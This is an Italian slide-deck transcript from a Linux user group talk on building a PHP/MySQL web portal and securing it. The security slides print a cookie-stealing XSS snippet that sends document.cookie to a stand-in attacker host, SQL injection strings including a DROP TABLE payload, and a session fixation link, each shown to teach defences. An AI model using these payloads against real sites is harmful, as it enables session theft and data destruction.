Creare un portale web con strumenti Open Source



Documenti analoghi
Obiettivi d esame PHP Developer Fundamentals on MySQL Environment

19. LA PROGRAMMAZIONE LATO SERVER

Configurazione avanzata di XAMPP

MySQL Database Management System

Data Base. Master "Bio Info" Reti e Basi di Dati Lezione 6

Indice generale. Capitolo 3 Introduzione a PHP...43 Sintassi e istruzioni di base Variabili, operatori e commenti Array...

CONTENUTI 1. INTRODUZIONE CONCETTI BASICI SU EQUINOX CMS XPRESS ACCESSO A EQUINOX CMS XPRESS PAGINA D INIZIO...

Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti

Laboratorio Progettazione Web PHP e MySQL - Lezione 9. Andrea Marchetti IIT-CNR andrea.marchetti@iit.cnr.ita 2012/2013

Le mie immagini su WEB: l ABC per iniziare. 6 maggio 2008

Benvenuti. Luca Biffi, Direttore Tecnico di Achab Achab techjam Archive Server for MDaemon

Corso di PHP. Prerequisiti. 6.1 PHP e il web 1. Conoscenza HTML Tecnica della programmazione Principi di programmazione web

Il Web Server e il protocollo HTTP

Guida all utilizzo a cura di Francesco Lattari. Guida all utilizzo di moodle per studenti

CONFIGURAZIONE SERVER APACHE (XAMPP): ACCESSO SICURO A DIRECTORY DEL FILE SYSTEM.

PHP e Structured Query Language

Sistema di Gestione dei Contenuti Multimediali

Laboratorio Progettazione Web PHP e MySQL. Andrea Marchetti IIT-CNR 2013/2014

Laboratorio Progettazione Web PHP e MySQL - Lezione 9. Andrea Marchetti IIT-CNR andrea.marchetti@iit.cnr.ita 2011/2012

[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection

Lavorare con MySQL Parte Seconda.

Node.js + Drupal. Luca Lusso. giovedì 1 dicembre 11

LABORATORIO PER IL DESIGN DELLE INTERFACCE PEGORARO ALESSANDRO CASSERO.IT MANUALE DI AGGIORNAMENTO, MANUTENZIONE E USO DEL SITO

SITI-Reports. Progetto SITI. Manuale Utente. SITI-Reports. ABACO S.r.l.

2.5. L'indirizzo IP identifica il computer di origine, il numero di porta invece identifica il processo di origine.

Tecnologie e Programmazione Web

Wordpress. Acquistare un sito web. Colleghiamoci con il sito

Indice Configurazione di PHP Test dell ambiente di sviluppo 28

Corso di Informatica. Prerequisiti. Modulo T3 B3 Programmazione lato server. Architettura client/server Conoscenze generali sui database

Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo

MySQL Database Management System


Upload del CMS sul server scelto

Installazione & Configurazione Php e MySQL su Mac Os X. Php

Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)

RELAZIONE TECNICA GESTIONE CARTE DI CREDITO. a cura di EMANUELE CESARI

CONFIGURARE IL DISPOSITIVO DI TELEASSISTENZA

MANUALE D USO DELLA PIATTAFORMA ITCMS

Sistemi per la gestione di database: MySQL ( )

Manuale servizio Webmail. Introduzione alle Webmail...2 Webmail classica (SquirrelMail)...3 Webmail nuova (RoundCube)...8

L amministratore di dominio

Dispensa di database Access

Protocolli applicativi: FTP

Presentazione Data Base

Esercitazione 8. Basi di dati e web

Guida Joomla. di: Alessandro Rossi, Flavio Copes

Installazione LAMP. Installare un server lamp su Linux Ubuntu. Per installare un server LAMP in Ubuntu come prima cosa apriamo il terminale:

InitZero s.r.l. Via P. Calamandrei, Arezzo

BASI DI DATI Cos è il PHP. Cos è il PHP. Esercitazione su PHP & MySQL

SVILUPPO DEL BLOG Autori: Ilari Michele, Cimini Oscar, Zaleski Dawid

Lezione 9. Applicazioni tradizionali

Individuare Web Shell nocive con PHP Shell

Utilizzando Microsoft Access. Si crea la tabella Anagrafica degli alunni,le Materie e i voti si mettono alcuni campi

Programmazione Web. Laboratorio 4: PHP e MySQL

PHP. A. Lorenzi, R. Giupponi, D. Iovino LINGUAGGI WEB. LATO SERVER E MOBILE COMPUTING Atlas. Copyright Istituto Italiano Edizioni Atlas

GERARCHIE RICORSIVE - SQL SERVER 2008

Istruzioni di accesso alla propria casella di posta elettronica tramite Zimbra Web Mail

sito web sito Internet

MODULO 1 PARTE 3. Programmazione (scripting) server-side con PHP 3.c Cookies e sessioni. Goy - a.a. 2012/2013 Programmazione Web 1

GateManager. 1 Indice. tecnico@gate-manager.it

Xampp. Valeriano Maysonnave - A.A. 2014/2015 -

Sito web parrocchiale: STRUMENTI E PROGRAMMI

DDL, VINCOLI D INTEGRITÁ, AGGIORNAMENTI E VISTE. SQL è più di un semplice linguaggio di interrogazione

Unità 2.1 Comandi sui database

--- PREMESSE INTRODUZIONE. .:luxx:.

File, Modifica, Visualizza, Strumenti, Messaggio

COSTRUZIONE SITO WEB da AlterVista (

Casalini Crypto. Documento di protocollo tecnico VRS 2.1

Corso di PHP. Prerequisiti. 1 - Introduzione

Web Programming. Lezione 4: Cookie e Sessioni. Giulio Rossetti 14/04/2011. Guru@Work

Lezione 3. Joomla 2.5

Esercitazione sulle libpq - libreria C per PostgreSQL

Alfa Layer S.r.l. Via Caboto, Torino ALFA PORTAL

Dexma Newsletter System

Il sistema informatico di trasmissione e analisi dei dati

Windows Web Server 2008 R2 64bit 1x Processore Intel Atom Dual (2x core 1.80 GHz) Dispositivo di memorizzazione flash esterno 32GB

Luca Mari, Sistemi informativi applicati (reti di calcolatori) appunti delle lezioni. Architetture client/server: applicazioni client


Il software di gestione immobiliare più facile da usare. Modulo Web v5.2.

Sistema Gestionale FIPRO. Dott. Enea Belloni Ing. Andrea Montagnani

Sicurezza Informatica: Tecniche di SQL INJECTION

Volumi di riferimento

Metodi per la Gestione dei Dati (lezioni di laboratorio)

Servizio Feed RSS del sito CNIT

Corso Joomla per ATAB

I tutorial di MadLabs.. Installazione e prima configurazione

PSNET UC RUPAR PIEMONTE MANUALE OPERATIVO

Scaletta. Estensioni UML per il Web. Applicazioni web - 2. Applicazioni web. WAE: Web Application Extension for UML. «Client page»

la tua presenza e il tuo BUSINESS ON-LINE

Manuale Utente Albo Pretorio GA

PRODUZIONE PAGELLE IN FORMATO PDF

Modulo 4 Il pannello amministrativo dell'hosting e il database per Wordpress

Drupal 7 Un CMS per la scuola

GUIDA ALLA REGISTRAZIONE DI UN DVR SU

Manuale Utente Amministrazione Trasparente GA

Esercitazione query in SQL L esercitazione viene effettuata sul database viaggi e vacanze che prevede il seguente modello E/R:

Corso Creare Siti WEB

Bibliografia: Utenti e sessioni

Software di gestione della stampante

PHP e MySQL. Guida scaricata da

Transcript:

Creare un portale web con strumenti Open Source Il caso di Arsié http://www.arsie.net 1/30 Lucia De Pasqual lucia@arsie.net BLUG - Belluno Linux User Group http://belluno.linux.it

CMS e Portali Content Management System (CMS) Sistema per organizzare e creare documenti e contenuti vari; Può non essere basato su applicazioni web o richiedere l uso di applicazioni client particolari; commerciali (principalmente basate su Java) del costo di svariate migliaia di euro e Open Source Wikipedia (http://en.wikipedia.org/) conta almeno 70 CMS Open Source. Si possono provare su http://www.opensourcecms.com/ Web Portal È un sito web basato su un CMS che fornisce servizi e permette di inserire contenuti, personalizzare l aspetto. 2/30

Fai-da-te vs. Già-Pronti Fai da Te Già pronto Flessibilità Totalmente adattabile Divertimento Sicurezza Breve training Caratteristiche avanzate Sicurezza 3/30

Breve storia di www.arsie.net Hosting su siti che danno spazio web gratuito e niente database conteggio delle visite? notizie? utenti? Acquisto di dominio, spazio web e database presso una web farm (il più economica possibile) Sviluppo di moduli per l aggiornamento tramite interfaccia web (news) e gestione degli utenti... Non è nato come un progetto definito ma cresciuto per obiettivi 4/30

Creare il proprio Portale Requisiti Pagine descrittive Gallerie di immagini News Statistiche Pagina per i contatti Forum Blog... Mezzi circa 30 euro PC funzionante tempo libero immaginazione 5/30

Software Apache Le mie Scelte PHP: Hypertext Preprocessor MySQL Gimp Emacs Esistono altre soluzioni, ma questa è la più semplice configurazione che si trova nelle offerte delle web farm. 6/30

Setup del server di sviluppo file /etc/httpd/conf/httpd.conf <VirtualHost 10.0.0.5:80> ServerAdmin root@localhost DocumentRoot /var/www/html/site-test/ ServerName www.site-test.it ErrorLog /tmp/log/site-test.error log CustomLog /tmp/log/site-test.access log common </VirtualHost> 7/30 scheda ethernet ifconfig eth0:5 10.0.0.5 file /etc/hosts 10.0.0.5 site-test.it www.site-test.it

DBMS Creare una copia del database sul server di sviluppo create database dbname; use dbname; Assegnare tutti i privilegi sul DB all utente che si collegherà al DB. grant all privileges on dbname.* to dbuser identified by dbpasswd ; L utente sul server non dovrebbe in generale poter eseguire operazioni di drop o create. 8/30

Struttura Dispatch Method Un singolo script PHP é disponibile sul web (come URL). Tutto il resto è richiamato da questo script in base alle variabili che possono essere passate col metodo GET. http://www.site-test.it/index.php?task=print form Include Method Uno script è incluso all inizio di ogni script pubblico ed è responsabile per tutte le misure globali di sicurezza come filtraggio dei dati e simili. 9/30

Struttura - Dispatch method Carico la configurazione <? require once("configurazione/setup.php"); require once(basepath."includes/func.php"); include (BASEPATH."includes/mysqldb.php"); $db = new mysqldb(); require once (BASEPATH."moduli/modulo.php"); require once (BASEPATH."includes/theuser.php"); // l header e verifica delle credenziali // dell utente include(basepath."includes/header.php"); // carico i moduli da mostrare // in base ai permessi dell utente corrente include (BASEPATH."configurazione/moduli da caricare.php"); 10/30

Struttura Corpo della pagina // calcolo la pagina da mostrare nel main $goodarg = check arguments(); if ($goodarg && isset($listamoduli[$modulo])) { $page = $listamoduli[$modulo]->getpage($idpage); $res = $listamoduli[$modulo]->checkperm($idpage); if ( ($page == "") (!$res) ) { $page = HOMEPAGE; } } else { $page = HOMEPAGE; } main($page,$all);// la pagina da visualizzare } // chiusura della pagina include(basepath."includes/footer.php");?> 11/30

Moduli Il sito deve essere facilmente estendibile con blocchi di codice indipendenti ed includibili senza modifiche al motore. <? class modulo { // definizioni di campi della classe function modulo() {...} function readconf() {...} // lettura della configurazione function gethtml() {...} // stampa il contenuto function getparam() {...} // ricava un parametro function checkperm($id) {...} // gestione dei permessi }?> 12/30

Interazione con DBMS Interfaccia che nasconde il DBMS class mysqldb { function mysqldb() { mysql connect ( DBHOST, DBUSER, DBPASSWD ) ; $res = mysql select db ( DBNAME ) ; if (!$res) die(); } function db select($query,$type) { $res = mysql query($query); if (!$res) return false; $result = array(); while ($row = mysql fetch array($res,$type)) { $result[] = $row; } mysql free result($res); return $result; }... 13/30

Utenti e permessi Vogliamo che ci possano essere più tipologie di utenti che possono: Vedere pagine Aggiungere news Configurare il sito Gestire altri utenti 14/30

Utenti e permessi Vogliamo che ci possano essere più tipologie di utenti che possono: Vedere pagine Aggiungere news Configurare il sito Gestire altri utenti Tabella degli utenti +----------+------------------+ Field Type +----------+------------------+ id int(10) unsigned id_group int(10) unsigned login varchar(30) password varchar(22) email varchar(100) +----------+------------------+ 14/30

Utenti e permessi Vogliamo che ci possano essere più tipologie di utenti che possono: Vedere pagine Aggiungere news Configurare il sito Gestire altri utenti Tabella degli utenti Tabella dei gruppi +----------+------------------+ Field Type +----------+------------------+ id int(10) unsigned id_group int(10) unsigned login varchar(30) password varchar(22) email varchar(100) +----------+------------------+ +-------------+------------------+ Field Type +-------------+------------------+ id int(10) unsigned nome varchar(30) descrizione varchar(255) +-------------+------------------+ 14/30

Utenti e permessi Vogliamo che ci possano essere più tipologie di utenti che possono: Vedere pagine Aggiungere news Configurare il sito Gestire altri utenti Tabella degli utenti +----------+------------------+ Field Type +----------+------------------+ id int(10) unsigned id_group int(10) unsigned login varchar(30) password varchar(22) email varchar(100) +----------+------------------+ +-------------+------------------+ Field Type +-------------+------------------+ id int(10) unsigned nome varchar(30) descrizione varchar(255) +-------------+------------------+ Tabella dei gruppi +----------+------------------+ Field Type +----------+------------------+ Relazione utenti-gruppi id_user int(10) unsigned id_group int(10) unsigned +----------+------------------+ 14/30

Autenticazione Deve essere sempre eseguito all inizio di ogni richiesta ed esaminare: le form di login; i dati passati con metodo POST o GET o COOKIE; la coerenza della sessione corrente con i dati passati dal client; La password può essere criptata nel database in modo non banale 15/30 $pass = substr(crypt($passwd, $1$.$key. $ ),-22); Un login che abbia successo ci permette di mettere in sessione i dati dell utente Di default l autenticazione deve essere negata e tutte le variabili di sessione eliminate.

Sicurezza Filesystem Browsing Cookie Theft Sql Injection File Upload Attacks Command Injection Session Hijacking Form Spoofing Cross Site Scripting Brute Force Attacks Spoofed HTTP Request Password Sniffing Exposed Source Code 16/30

Form Spoofing Qualunque cosa provenga da un client deve essere considerato sospetto perchè è fuori dal nostro controllo. Metodi per inviare informazioni a piacere ad un sito web: modificando a mano l URL nel browser (GET) copiando una pagina html sul proprio client e modificando il form (POST) sessione telnet verso il sever richiede comandi HTTP (POST e GET) socket in qualunque linguaggio richiede comandi HTTP (POST e GET) 17/30

Form Spoofing - Esempio Passare una variabile POST attraverso una sessione telnet $ telnet www.site-test.it 80 Trying 10.0.0.5... Connected to www.site-test.it (10.0.0.5). Escape character is ]. POST /form-spoofing.php HTTP/1.1 Host: www.site-test.it Content-Type: application/x-www-form-urlencoded Content-Length: 5 id=47 HTTP/1.1 404 Not Found... 18/30

Form Spoofing - Esempio Contattare un sito tramite un socket in PHP <?php $http response = ; $fp = fsockopen( www.site-test.it, 80); fputs($fp, "HEAD / HTTP/1.1\r\n"); fputs($fp, "Host: www.site-test.it\r\n\r\n"); while (!feof($fp)) { $http response.= fgets($fp, 128); } fclose($fp); echo $http response;?> 19/30

Form Spoofing - Precauzioni Bisogna blindare i form ed i link del proprio sito: Inizializzare tutte le variabili nei nostri script Mettere in sessione solo dati validati Disabilitare se possibile register globals Verificare tutti i dati ricevuti tipo di dato e consistenza con quanto ci si aspetta login: /^([[:alnum:]_]){4,30}$/i password: /^([[:alnum:][:punct:]_]){8,16}$/i email: /^[^@s]+@([-a-z0-9]+.)+[a-z]{2,}$/i numeri: is_numeric() o cast ad int 20/30

Input Filtering - HTML Permettere ad un utente di inserire codice HTML è un idea molto, molto cattiva ma qualche volta necessaria. 21/30

Input Filtering - HTML Permettere ad un utente di inserire codice HTML è un idea molto, molto cattiva ma qualche volta necessaria. hello world <style> body display: none!important; </style> Non viene mostrato più nulla! 21/30

Input Filtering - HTML Permettere ad un utente di inserire codice HTML è un idea molto, molto cattiva ma qualche volta necessaria. hello world <style> body display: none!important; </style> Non viene mostrato più nulla! <b style="display: block; position: absolute; top: 0px; left: 0px; width: 100%; height: 100%; background-color: #ffffff;"> ciao bestia</b> <b onmouseover="location.href = http://sono-cattivo.com/?cookies= + document.cookie;">clicca qui</b> C è anche un link ad un altro sito strip tags( ) non basta: meglio ridefinire dei propri tag che al peggio sono interpretati come testo. 21/30

SQL Injection SQL Injection è un sottoinsieme delle vulnerabilità dovute alla mancata verifica dei dati inseriti in un form. Permette di indagare la struttura di tabelle e dell intero database Permette ad un utente remoto di estrarre più informazioni di quelle che il programmatore si aspetta Nei peggiori casi permette di eliminare tabelle e database interi Generare un DoS con query troppo impegnative 22/30

SQL Injection SELECT fieldlist FROM table WHERE field = $EMAIL ; Generare messaggi di errore dal messaggio di errore si capisce se i dati vengono filtrati 23/30

SQL Injection SELECT fieldlist FROM table WHERE field = $EMAIL ; SELECT fieldlist FROM table WHERE field= me@host.com ; Generare messaggi di errore dal messaggio di errore si capisce se i dati vengono filtrati Si ricava se vengono verificati i dati con dei pattern 23/30

SQL Injection SELECT fieldlist FROM table WHERE field = $EMAIL ; SELECT fieldlist FROM table WHERE field= me@host.com ; SELECT fieldlist FROM table WHERE field = anything OR x = x ; Generare messaggi di errore dal messaggio di errore si capisce se i dati vengono filtrati Si ricava se vengono verificati i dati con dei pattern È sempre vera 23/30

SQL Injection SELECT fieldlist FROM table WHERE field = x AND email IS NULL; -- ; Si testa l esistenza del campo email 24/30

SQL Injection SELECT fieldlist FROM table WHERE field = x AND email IS NULL; -- ; SELECT email, passwd, login id, full name FROM table WHERE email = x AND 1=(SELECT COUNT(*) FROM tabname); -- ; Si testa l esistenza del campo email Si testa l esistenza di una determinata tabella 24/30

SQL Injection SELECT fieldlist FROM table WHERE field = x AND email IS NULL; -- ; SELECT email, passwd, login id, full name FROM table WHERE email = x AND 1=(SELECT COUNT(*) FROM tabname); -- ; SELECT email, passwd, login id, full name FROM members WHERE email = x ; DROP TABLE members; -- ; Si testa l esistenza del campo email Si testa l esistenza di una determinata tabella Si elimina una tabella! 24/30

SQL Injection - Soluzioni Filtrare l input Escape delle virgolette (mysql real escape string()) Limitare i permessi sul database Bloccare la visualizzazione di errori e warning Credenziali di accesso al database in zona protetta: 25/30 <Files "\.inc$"> Order allow,deny Deny from all </Files> trattare correttamente i caratteri % e di tipo LIKE in caso di query con controlli

Session Fixation Si cerca di portare una vittima ad usare un identificatore di sessione proprietà dall attaccante: 1. L attaccante accede ad un sito e ne ricava l ID di sessione 2. L attaccante induce un utente a vsitare un proprio sito e setta un cookie con l ID di sessione ricavato dal sito 3. La vittima visita il sito, si autentica mantenendo lo stesso ID di sessione 4. L attaccante accede con le stesse credenziali <a href="http://host/index.php?phpsessid=1234">click here</a> 26/30

Session Fixation Si cerca di portare una vittima ad usare un identificatore di sessione proprietà dall attaccante: 1. L attaccante accede ad un sito e ne ricava l ID di sessione 2. L attaccante induce un utente a vsitare un proprio sito e setta un cookie con l ID di sessione ricavato dal sito 3. La vittima visita il sito, si autentica mantenendo lo stesso ID di sessione 4. L attaccante accede con le stesse credenziali <a href="http://host/index.php?phpsessid=1234">click here</a> Soluzione: rigenerare l ID di sessione ad ogni procedura di autenticazione. 26/30

Session Hijacking Si tratta della cattura dell ID di sessione di un utente in modo da utilizzare la sua sessione. I cookie sono meno esposti alla cattura dell id di sessione anche se i più popolari browser hanno vulnerabilità che li espongono. Soluzione: possiamo propagare un cookie contenente un impronta digitale che memoizziamo in sessione una volta digitata e confrontiamo nuovamente ad ogni richiesta, se differisce possiamo chiedere una password per proseguire la sessione 27/30

Session Hijacking - Esempi <?php session start(); if (isset($ SESSION[ HTTP USER AGENT ])) { if ($ SESSION[ HTTP USER AGENT ]!= md5($ SERVER[ HTTP USER AGENT ])) { /* Prompt for Password */ exit; } } else { $ SESSION[ HTTP USER AGENT ] = md5($ SERVER[ HTTP USER AGENT ]); }?> Controllo basato sull identificazione del browser 28/30

Session Hijacking - Esempi <?php session start(); if (isset($ SESSION[ HTTP USER AGENT ])) { if ($ SESSION[ HTTP USER AGENT ]!= md5($ SERVER[ HTTP USER AGENT ])) { /* Prompt for Password */ exit; } } else { $ SESSION[ HTTP USER AGENT ] = md5($ SERVER[ HTTP USER AGENT ]); }?> <?php $string = $ SERVER[ HTTP USER AGENT ]; $string.= pippo ; $fingerprint = md5($string);?> Controllo basato sull identificazione del browser Rendere non individuabile la fingerprint del browser 28/30

Conclusioni... 29/30

Riferimenti Arsié http://www.arsie.net PHP http://www.php.net MySQL http://www.mysql.com Apache http://www.apache.org OpenCMS http://www.opensourcecms.com Wikipedia http://en.wikipedia.org Chris Shiflett http://shiflett.org Steve Friedl http://unixwiz.net L A TEX 30/30